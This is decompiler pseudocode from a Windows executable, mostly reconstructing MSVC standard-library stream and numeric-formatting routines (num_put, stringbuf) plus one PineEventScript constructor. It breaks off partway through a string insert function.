-------------------------------------------------------- void __thiscall PineEventScript::PineEventScript(PineEventScript *this) { PineEventScriptNode::Script::Script(&this->pes_Script); } //----- (004C4E60) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode) { std::basic_stringstream,std::allocator > *v2; // esi@1 int v3; // [sp+24h] [bp+8h]@0 v2 = this; if ( v3 ) { *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap0[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[0] = &std::basic_stringstream_std::allocator>::_vbtable_; *(_DWORD *)&this->gap54[0] = &std::basic_ios>::_vftable_; } std::basic_iostream>::basic_iostream>( &this->___u0.baseclass_0, (std::basic_streambuf > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4]); *(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap0[0] + 4)] = &std::basic_stringstream_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>( (std::basic_stringbuf,std::allocator > *)&v2->___u0.baseclass_0.___u0.baseclass_0.gap8[4], _Mode); } // 4C4E60: inconsistent function type and number of purged bytes // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 650F9C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (004C4EF0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result) { int v2; // edx@1 char **v3; // eax@2 char *v4; // edi@2 char *v5; // eax@3 char *v6; // ecx@5 unsigned int v7; // edi@5 char **v8; // edx@7 int v9; // eax@8 char *v10; // ecx@8 unsigned int v11; // ST08_4@8 std::basic_string,std::allocator > *v12; // eax@14 void *v13; // [sp-4h] [bp-40h]@10 int v14; // [sp+Ch] [bp-30h]@1 char _Nul; // [sp+10h] [bp-2Ch]@5 void *p; // [sp+14h] [bp-28h]@5 int v17; // [sp+24h] [bp-18h]@5 unsigned int v18; // [sp+28h] [bp-14h]@5 unsigned int v19; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@5 v2 = this->_Mystate; v19 = (unsigned int)&v14 ^ __security_cookie; v14 = 0; if ( !(v2 & 2) ) { v3 = this->baseclass_0._IPnext; v4 = *v3; if ( *v3 ) { v5 = *v3; if ( this->_Seekhigh >= v4 ) v5 = this->_Seekhigh; v6 = *this->baseclass_0._IPfirst; v7 = 15; v18 = 15; v17 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Nul, v6, v5 - v6); v20 = 0; LABEL_9: result->_Myres = v7; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&_Nul, 0, 0xFFFFFFFFu); if ( v18 >= 0x10 ) { v13 = p; LABEL_13: operator delete(v13); goto LABEL_14; } goto LABEL_14; } } if ( !(v2 & 4) ) { v8 = this->baseclass_0._IGnext; if ( *v8 ) { v9 = *this->baseclass_0._IGcount; v10 = *this->baseclass_0._IGfirst; v11 = &(*v8)[v9] - v10; v7 = 15; v18 = 15; v17 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Nul, v10, v11); v20 = 1; goto LABEL_9; } } v18 = 15; v17 = 0; LOBYTE(p) = 0; result->_Myres = 15; result->_Mysize = 0; v20 = 2; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&_Nul, 0, 0xFFFFFFFFu); if ( v18 >= 0x10 ) { v13 = p; goto LABEL_13; } LABEL_14: __security_check_cookie((unsigned int)&v14 ^ v19); return v12; } //----- (004C5040) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+Ch] [bp-4Ch]@1 char _Buf[64]; // [sp+14h] [bp-44h]@1 unsigned int v12; // [sp+54h] [bp-4h]@1 v6 = this; v12 = (unsigned int)_Fmt ^ __security_cookie; v7 = std::num_put>>::_Ifmt( this, _Fmt, "ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004C50C0) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags) { char *result; // eax@1 char *v5; // edx@1 int v6; // edx@7 int v7; // esi@8 int v8; // edx@8 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 8 ) *v5++ = 35; if ( *_Spec == 76 ) { *v5 = 73; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 54; v5 = (char *)(v6 + 1); *v5 = 52; } else { *v5 = *_Spec; } v7 = _Flags & 0xE00; v8 = (int)(v5 + 1); if ( v7 == 1024 ) { *(_BYTE *)v8 = 111; *(_BYTE *)(v8 + 1) = 0; } else { if ( v7 == 2048 ) { *(_BYTE *)v8 = ~(8 * _Flags) & 0x20 | 0x58; *(_BYTE *)(v8 + 1) = 0; } else { *(_BYTE *)v8 = _Spec[1]; *(_BYTE *)(v8 + 1) = 0; } } return result; } //----- (004C5150) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count) { std::ios_base *v7; // ebx@1 std::locale *v8; // eax@1 int v9; // eax@1 int v10; // esi@1 std::numpunct *v11; // edi@1 unsigned int v12; // eax@2 int v13; // esi@5 char v14; // al@7 bool v15; // zf@7 char v16; // al@10 signed int v17; // edi@12 void *v18; // eax@16 void *v19; // eax@19 void *v20; // ebx@22 int v21; // eax@24 unsigned int v22; // ebp@24 unsigned int v23; // esi@24 char *v24; // edi@29 int v25; // esi@34 unsigned int v26; // esi@36 int v27; // eax@39 std::ostreambuf_iterator > *v28; // eax@41 int v29; // ebx@41 std::basic_streambuf > *v30; // edi@41 void *v31; // ebx@42 std::ostreambuf_iterator > *v32; // eax@45 char v33; // al@47 std::ostreambuf_iterator > v34; // ST20_8@47 int v35; // edi@47 std::ostreambuf_iterator > *v36; // eax@47 unsigned int v37; // ecx@47 std::basic_streambuf > *v38; // eax@47 unsigned int v39; // ST14_4@47 std::ostreambuf_iterator > *v40; // esi@47 std::ostreambuf_iterator > *v41; // eax@49 int _Prefix; // [sp+10h] [bp-50h]@1 void *_Ptr; // [sp+14h] [bp-4Ch]@1 int v44; // [sp+18h] [bp-48h]@1 std::ostreambuf_iterator > v45; // [sp+1Ch] [bp-44h]@41 std::ios_base *v46; // [sp+24h] [bp-3Ch]@1 int _Punct_fac; // [sp+28h] [bp-38h]@1 int v48; // [sp+2Ch] [bp-34h]@1 std::ostreambuf_iterator > *v49; // [sp+30h] [bp-30h]@1 char _Grouping; // [sp+34h] [bp-2Ch]@7 void *p; // [sp+38h] [bp-28h]@16 unsigned int v52; // [sp+4Ch] [bp-14h]@16 unsigned int v53; // [sp+50h] [bp-10h]@1 int v54; // [sp+5Ch] [bp-4h]@1 v7 = _Iosbase; v53 = (unsigned int)&_Prefix ^ __security_cookie; v49 = result; v44 = (int)this; v46 = _Iosbase; _Ptr = _Buf; v8 = std::ios_base::getloc(_Iosbase, (std::locale *)&v48); v54 = 0; v9 = (int)std::use_facet>(v8); v10 = v48; v11 = (std::numpunct *)v9; _Punct_fac = v9; v54 = -1; if ( v48 ) { std::_Lockit::_Lockit((std::_Lockit *)&_Prefix, 0); v12 = *(_DWORD *)(v10 + 4); if ( v12 && v12 < 0xFFFFFFFF ) *(_DWORD *)(v10 + 4) = v12 - 1; v13 = ((*(_DWORD *)(v10 + 4) != 0) - 1) & v10; std::_Lockit::__Lockit((std::_Lockit *)&_Prefix); if ( v13 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v13)(v13, 1); } std::numpunct::grouping(v11, (std::basic_string,std::allocator > *)&_Grouping); v14 = *_Buf; v15 = *_Buf == 43; v54 = 1; if ( v15 || v14 == 45 ) { _Prefix = 1; } else { if ( v14 == 48 ) { v16 = _Buf[1]; if ( v16 == 120 || v16 == 88 ) { v17 = 2; _Prefix = 2; goto LABEL_16; } } _Prefix = 0; } v17 = _Prefix; LABEL_16: v18 = p; if ( v52 < 0x10 ) v18 = &p; if ( *(_BYTE *)v18 == 127 ) goto LABEL_52; v19 = p; if ( v52 < 0x10 ) v19 = &p; if ( *(_BYTE *)v19 <= 0 ) { LABEL_52: v22 = _Count; } else { v20 = p; if ( v52 < 0x10 ) v20 = &p; LOBYTE(v21) = *(_BYTE *)v20; v22 = _Count; v23 = _Count; if ( *(_BYTE *)v20 != 127 ) { while ( (char)v21 > 0 ) { v21 = (char)v21; if ( (char)v21 >= v23 - v17 ) break; v23 -= v21; v24 = (char *)_Ptr + v23; memmove((char *)_Ptr + v23 + 1, (char *)_Ptr + v23, v22 - v23 + 1); *v24 = 44; ++v22; if ( *((_BYTE *)v20 + 1) > 0 ) v20 = (char *)v20 + 1; LOBYTE(v21) = *(_BYTE *)v20; if ( *(_BYTE *)v20 == 127 ) { v17 = _Prefix; break; } v17 = _Prefix; } } v7 = v46; } v25 = v7->_Wide; if ( v25 <= 0 || v25 <= v22 ) v26 = 0; else v26 = v25 - v22; v27 = v7->_Fmtfl & 0x1C0; if ( v27 == 64 ) { v30 = _Dest._Strbuf; v29 = *(_DWORD *)&_Dest; } else { if ( v27 == 256 ) { v31 = _Ptr; v45 = _Dest; if ( v17 ) { _Prefix = v17; do { std::ostreambuf_iterator>::operator_(&v45, *(_BYTE *)v31); v31 = (char *)v31 + 1; --_Prefix; } while ( _Prefix ); } _Ptr = (char *)_Ptr + v17; v22 -= v17; v32 = std::num_put>>::_Rep( (std::num_put > > *)v44, &v45, v45, _Fill, v26); v29 = *(_DWORD *)&v32->___u0.baseclass_0.baseclass_0.dummy[0]; v30 = v32->_Strbuf; v26 = 0; } else { v28 = std::num_put>>::_Rep( (std::num_put > > *)v44, &v45, _Dest, _Fill, v26); v29 = *(_DWORD *)&v28->___u0.baseclass_0.baseclass_0.dummy[0]; v30 = v28->_Strbuf; v26 = 0; } } v33 = (*(int (**)(void))(*(_DWORD *)_Punct_fac + 8))(); LOBYTE(_Punct_fac) = v33; v34._Strbuf = v30; v35 = v44; *(_DWORD *)&v34.___u0.baseclass_0.baseclass_0.dummy[0] = v29; v36 = std::num_put>>::_Putgrouped( (std::num_put > > *)v44, &v45, v34, (const char *)_Ptr, v22, v33); v37 = *(_DWORD *)&v36->___u0.baseclass_0.baseclass_0.dummy[0]; v38 = v36->_Strbuf; v39 = v26; v40 = v49; v46->_Wide = 0; std::num_put>>::_Rep( (std::num_put > > *)v35, v40, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v38, v37), _Fill, v39); if ( v52 >= 0x10 ) operator delete(p); __security_check_cookie((unsigned int)&_Prefix ^ v53); return v41; } //----- (004C5450) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator) { std::basic_streambuf > *v6; // ebx@1 int v7; // edi@1 void *v8; // eax@2 unsigned int v9; // esi@3 int v10; // edx@5 std::basic_streambuf > *v11; // ecx@5 unsigned int v12; // edi@6 bool v13; // zf@9 std::ostreambuf_iterator > *v14; // eax@11 std::ostreambuf_iterator > *v15; // eax@13 char *v16; // [sp+Ch] [bp-14h]@5 int v17; // [sp+10h] [bp-10h]@5 std::basic_streambuf > *v18; // [sp+14h] [bp-Ch]@5 char v19; // [sp+18h] [bp-8h]@11 const char *_Ptra; // [sp+38h] [bp+18h]@9 unsigned int _Counta; // [sp+3Ch] [bp+1Ch]@9 v6 = _Dest._Strbuf; v7 = *(_DWORD *)&_Dest; while ( 1 ) { v8 = memchr(_Ptr, 44, _Count); if ( v8 ) v9 = v8 - _Ptr; else v9 = _Count; v16 = (char *)_Ptr; v10 = v7; v11 = v6; v17 = v7; v18 = v6; if ( v9 ) { v12 = v9; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v17, *v16); --v12; ++v16; } while ( v12 ); v11 = v18; v10 = v17; } _Ptra = &_Ptr[v9]; v13 = _Count == v9; v7 = v10; v6 = v11; _Counta = _Count - v9; if ( v13 ) break; if ( _Kseparator ) { v14 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v19, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v11, v10), _Kseparator, 1u); v7 = *(_DWORD *)&v14->___u0.baseclass_0.baseclass_0.dummy[0]; v6 = v14->_Strbuf; } _Ptr = _Ptra + 1; _Count = _Counta - 1; } v15 = result; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = v10; result->_Strbuf = v11; return v15; } //----- (004C5520) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[3].__vecDelDtor)(result); return result; } //----- (004C5540) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[6]; // [sp+Ch] [bp-4Ch]@1 char _Buf[64]; // [sp+14h] [bp-44h]@1 unsigned int v12; // [sp+54h] [bp-4h]@1 v6 = this; v12 = (unsigned int)_Fmt ^ __security_cookie; v7 = std::num_put>>::_Ifmt( this, _Fmt, "lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004C55C0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+Ch] [bp-4Ch]@1 char _Buf[64]; // [sp+14h] [bp-44h]@1 unsigned int v12; // [sp+54h] [bp-4h]@1 v6 = this; v12 = (unsigned int)_Fmt ^ __security_cookie; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Ld", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004C5650) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val) { std::num_put > > *v6; // esi@1 char *v7; // eax@1 int v8; // eax@1 char _Fmt[8]; // [sp+Ch] [bp-4Ch]@1 char _Buf[64]; // [sp+14h] [bp-44h]@1 unsigned int v12; // [sp+54h] [bp-4h]@1 v6 = this; v12 = (unsigned int)_Fmt ^ __security_cookie; v7 = std::num_put>>::_Ifmt( this, _Fmt, "Lu", _Iosbase->_Fmtfl); v8 = sprintf(_Buf, v7); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v8); return result; } //----- (004C56E0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // ecx@2 signed int v8; // ecx@4 int v9; // edx@6 long double v10; // st7@6 int v11; // esi@6 unsigned int v12; // ebx@6 unsigned int v13; // edi@6 char *v14; // eax@17 int v15; // eax@17 unsigned int v16; // ST24_4@17 int v17; // esi@17 int v19; // [sp+18h] [bp-84h]@1 int thisa; // [sp+1Ch] [bp-80h]@1 int v21; // [sp+20h] [bp-7Ch]@1 char _Fmt[8]; // [sp+24h] [bp-78h]@17 char _Buf[108]; // [sp+2Ch] [bp-70h]@17 unsigned int v24; // [sp+98h] [bp-4h]@1 v24 = (unsigned int)&v19 ^ __security_cookie; v21 = (int)result; v6 = _Iosbase->_Prec; thisa = (int)this; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Iosbase->_Fmtfl; v10 = _Val; v11 = v6 - v8; v12 = 0; v13 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val >= 0.0 ) { BYTE3(v19) = 0; } else { BYTE3(v19) = 1; v10 = -_Val; } for ( ; v10 >= 1.0e35; v12 += 10 ) { if ( v12 >= 0x1388 ) break; v10 = v10 * 1.0e-10; } if ( v10 > 0.0 && v11 >= 10 ) { do { if ( v10 > 1.0e-35 ) break; if ( v13 >= 0x1388 ) break; v10 = v10 * 1.0e10; v11 -= 10; v13 += 10; } while ( v11 >= 10 ); } } v14 = std::num_put>>::_Ffmt( (std::num_put > > *)thisa, _Fmt, 0, v9); v15 = sprintf(_Buf, v14); v16 = v11; v17 = v21; std::num_put>>::_Fput( (std::num_put > > *)thisa, (std::ostreambuf_iterator > *)v21, _Dest, _Iosbase, _Fill, _Buf, v12, v13, v16, v15); return (std::ostreambuf_iterator > *)v17; } //----- (004C5870) -------------------------------------------------------- char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags) { char *result; // eax@1 char *v5; // ecx@1 int v6; // ecx@5 int v7; // ecx@5 int v8; // edx@7 result = _Fmt; *_Fmt = 37; v5 = _Fmt + 1; if ( _Flags & 0x20 ) { *v5 = 43; v5 = _Fmt + 2; } if ( _Flags & 0x10 ) *v5++ = 35; *v5 = 46; v6 = (int)(v5 + 1); *(_BYTE *)v6 = 42; v7 = v6 + 1; if ( _Spec ) *(_BYTE *)v7++ = _Spec; v8 = _Flags & 0x3000; if ( v8 == 8192 ) { *(_BYTE *)v7 = 102; *(_BYTE *)(v7 + 1) = 0; } else { *(_BYTE *)v7 = 2 * (v8 != 4096) + 101; *(_BYTE *)(v7 + 1) = 0; } return result; } //----- (004C58D0) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count) { std::ios_base *v10; // ebp@1 const void *v11; // esi@1 std::locale *v12; // eax@1 std::numpunct *v13; // ebx@1 int v14; // ebp@2 unsigned int v15; // eax@2 int v16; // ebp@5 std::locale::facetVtbl *v17; // edx@8 char v18; // al@8 unsigned int v19; // ebx@8 const char v20; // al@8 bool v21; // zf@8 void *v22; // eax@11 void *v23; // eax@14 void *v24; // eax@17 void *v25; // eax@20 unsigned int v26; // ebx@22 void *v27; // ebx@23 char *v28; // eax@25 unsigned int v29; // esi@27 unsigned int v30; // eax@27 unsigned int v31; // eax@36 int v32; // ecx@36 int v33; // eax@40 std::basic_streambuf > *v34; // eax@43 int v35; // ecx@44 unsigned int v36; // ecx@44 std::ostreambuf_iterator > *v37; // eax@47 int v38; // ebp@47 std::basic_streambuf > *v39; // ebx@47 void *v40; // eax@49 std::ostreambuf_iterator > *v41; // eax@50 std::ostreambuf_iterator > *v42; // eax@50 unsigned int v43; // ebx@50 std::basic_streambuf > *v44; // ebp@50 char v45; // al@50 std::ostreambuf_iterator > *v46; // eax@50 std::ostreambuf_iterator > *v47; // eax@50 void *v48; // eax@51 std::ostreambuf_iterator > *v49; // eax@52 std::ostreambuf_iterator > *v50; // eax@52 char *v51; // ecx@52 int v52; // edx@54 int v53; // eax@54 char v54; // ST48_1@54 std::ostreambuf_iterator > *v55; // eax@55 std::ostreambuf_iterator > *v56; // eax@55 unsigned int v57; // ecx@55 std::basic_streambuf > *v58; // eax@55 std::ostreambuf_iterator > *v59; // esi@55 std::ostreambuf_iterator > *v60; // eax@59 std::ostreambuf_iterator > *v61; // [sp-14h] [bp-A4h]@42 std::ostreambuf_iterator > v62; // [sp-10h] [bp-A0h]@42 char v63; // [sp-8h] [bp-98h]@42 unsigned int v64; // [sp-4h] [bp-94h]@42 char _Enders[3]; // [sp+10h] [bp-80h]@1 unsigned int _Fillcount; // [sp+14h] [bp-7Ch]@38 std::ostreambuf_iterator > _Fracoffset; // [sp+18h] [bp-78h]@9 std::numpunct *_Expoffset; // [sp+20h] [bp-70h]@1 std::_Lockit _Kseparator; // [sp+24h] [bp-6Ch]@2 std::ios_base *v70; // [sp+28h] [bp-68h]@1 int v71; // [sp+2Ch] [bp-64h]@1 int v72; // [sp+30h] [bp-60h]@54 int v73; // [sp+34h] [bp-5Ch]@50 std::ostreambuf_iterator > *v74; // [sp+3Ch] [bp-54h]@1 int v75; // [sp+40h] [bp-50h]@50 char _Groupstring; // [sp+48h] [bp-48h]@17 char *p; // [sp+4Ch] [bp-44h]@8 unsigned int v78; // [sp+5Ch] [bp-34h]@8 unsigned int v79; // [sp+60h] [bp-30h]@8 char _Grouping; // [sp+64h] [bp-2Ch]@8 void *v81; // [sp+68h] [bp-28h]@11 unsigned int v82; // [sp+7Ch] [bp-14h]@11 unsigned int v83; // [sp+80h] [bp-10h]@1 int v84; // [sp+8Ch] [bp-4h]@1 v10 = _Iosbase; v11 = _Buf; v83 = (unsigned int)_Enders ^ __security_cookie; v74 = result; v70 = _Iosbase; v12 = std::ios_base::getloc(_Iosbase, (std::locale *)&v71); v84 = 0; v13 = std::use_facet>(v12); _Expoffset = v13; v84 = -1; if ( v71 ) { v14 = v71; std::_Lockit::_Lockit(&_Kseparator, 0); v15 = *(_DWORD *)(v14 + 4); if ( v15 && v15 < 0xFFFFFFFF ) *(_DWORD *)(v14 + 4) = v15 - 1; v16 = ((*(_DWORD *)(v14 + 4) != 0) - 1) & v14; std::_Lockit::__Lockit(&_Kseparator); if ( v16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v16)(v16, 1); v10 = v70; } std::numpunct::grouping(v13, (std::basic_string,std::allocator > *)&_Grouping); v17 = v13->baseclass_0.vfptr; v84 = 1; v18 = ((int (__thiscall *)(std::numpunct *))v17[2].__vecDelDtor)(v13); v19 = 0; LOBYTE(_Kseparator._Locktype) = v18; v79 = 15; v78 = 0; LOBYTE(p) = 0; v20 = *_Buf; v21 = *_Buf == 43; LOBYTE(v84) = 2; if ( v21 || (*(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = 0, v20 == 45) ) *(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = 1; _Enders[0] = *localeconv()->decimal_point; _Enders[1] = 101; _Enders[2] = 0; v22 = v81; if ( v82 < 0x10 ) v22 = &v81; if ( *(_BYTE *)v22 != 127 ) { v23 = v81; if ( v82 < 0x10 ) v23 = &v81; if ( *(_BYTE *)v23 > 0 ) { std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Buf, _Count); v24 = memchr(_Buf, 101, _Count); if ( v24 ) std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v24 - _Buf, _Trailing, 48); else std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Trailing, 48); v25 = memchr(_Buf, _Enders[0], _Count); if ( v25 ) { v26 = v25 - _Buf; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v25 - _Buf + 1, _Afterpoint, 48); std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v26, _Beforepoint, 48); } else { std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groupstring, _Beforepoint, 48); } v27 = v81; if ( v82 < 0x10 ) v27 = &v81; v28 = p; if ( v79 < 0x10 ) v28 = (char *)&p; strcspn(v28, _Enders); v29 = v30; for ( LOBYTE(v30) = *(_BYTE *)v27; *(_BYTE *)v27 != 127; LOBYTE(v30) = *(_BYTE *)v27 ) { if ( (char)v30 <= 0 ) break; v30 = (char)v30; if ( (char)v30 >= v29 - *(_DWORD *)&_Fracoffset ) break; v29 -= v30; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&_Groupstring, v29, 1u, 44); if ( *((_BYTE *)v27 + 1) > 0 ) v27 = (char *)v27 + 1; } v11 = p; if ( v79 < 0x10 ) v11 = &p; _Beforepoint = 0; _Afterpoint = 0; _Trailing = 0; _Count = v78; v19 = 0; } } v31 = _Count + _Trailing + _Beforepoint + _Afterpoint; v32 = v10->_Wide; if ( v32 <= (signed int)v19 || v32 <= v31 ) _Fillcount = v19; else _Fillcount = v32 - v31; v33 = v10->_Fmtfl & 0x1C0; if ( v33 == 64 ) { v39 = _Dest._Strbuf; v38 = *(_DWORD *)&_Dest; } else { if ( v33 == 256 ) { v34 = _Dest._Strbuf; if ( *(_DWORD *)&_Fracoffset <= v19 ) { v36 = *(_DWORD *)&_Dest; } else { v35 = *(_BYTE *)v11; _Fracoffset = _Dest; std::ostreambuf_iterator>::operator_(&_Fracoffset, v35); v34 = _Fracoffset._Strbuf; v36 = *(_DWORD *)&_Fracoffset; v11 = (char *)v11 + 1; --_Count; } v64 = _Fillcount; v63 = _Fill; v62 = (std::ostreambuf_iterator >)__PAIR__((unsigned int)v34, v36); v61 = &_Fracoffset; } else { v64 = _Fillcount; v63 = _Fill; v62 = _Dest; v61 = &_Fracoffset; } v37 = std::num_put>>::_Rep(this, v61, v62, v63, v64); v38 = *(_DWORD *)&v37->___u0.baseclass_0.baseclass_0.dummy[0]; v39 = v37->_Strbuf; _Fillcount = 0; } v40 = memchr(v11, _Enders[0], _Count); if ( v40 ) { *(_DWORD *)&_Fracoffset.___u0.baseclass_0.baseclass_0.dummy[0] = v40 - v11 + 1; v41 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v75, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v39, v38), (const char *)v11, v40 - v11, _Kseparator._Locktype); v42 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v73, *v41, 48, _Beforepoint); v43 = *(_DWORD *)&v42->___u0.baseclass_0.baseclass_0.dummy[0]; v44 = v42->_Strbuf; v45 = ((int (*)(void))_Expoffset->baseclass_0.vfptr[1].__vecDelDtor)(); LOBYTE(_Expoffset) = v45; v46 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v73, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v44, v43), v45, 1u); v47 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v71, *v46, 48, _Afterpoint); v38 = *(_DWORD *)&v47->___u0.baseclass_0.baseclass_0.dummy[0]; v39 = v47->_Strbuf; v11 = (char *)v11 + *(_DWORD *)&_Fracoffset; _Count -= *(_DWORD *)&_Fracoffset; } v48 = memchr(v11, 101, _Count); if ( v48 ) { _Expoffset = (std::numpunct *)(v48 - v11 + 1); v49 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v73, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v39, v38), (const char *)v11, v48 - v11, _Kseparator._Locktype); v50 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v75, *v49, 48, _Trailing); _Trailing = 0; v51 = "E"; if ( !(v70->_Fmtfl & 4) ) v51 = "e"; v52 = *(_DWORD *)&v50->___u0.baseclass_0.baseclass_0.dummy[0]; v53 = (int)v50->_Strbuf; v54 = *v51; v71 = v52; v72 = v53; std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v71, v54); v38 = v71; v39 = (std::basic_streambuf > *)v72; v11 = (char *)v11 + (_DWORD)_Expoffset; _Count -= (unsigned int)_Expoffset; } v55 = std::num_put>>::_Putgrouped( this, (std::ostreambuf_iterator > *)&v73, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v39, v38), (const char *)v11, _Count, _Kseparator._Locktype); v56 = std::num_put>>::_Rep( this, (std::ostreambuf_iterator > *)&v75, *v55, 48, _Trailing); v57 = *(_DWORD *)&v56->___u0.baseclass_0.baseclass_0.dummy[0]; v58 = v56->_Strbuf; v59 = v74; v70->_Wide = 0; std::num_put>>::_Rep( this, v59, (std::ostreambuf_iterator >)__PAIR__((unsigned int)v58, v57), _Fill, _Fillcount); if ( v79 >= 0x10 ) operator delete(p); v79 = 15; v78 = 0; LOBYTE(p) = 0; if ( v82 >= 0x10 ) operator delete(v81); __security_check_cookie((unsigned int)_Enders ^ v83); return v60; } //----- (004C5EB0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch) { unsigned int v4; // ebx@1 std::basic_string,std::allocator > 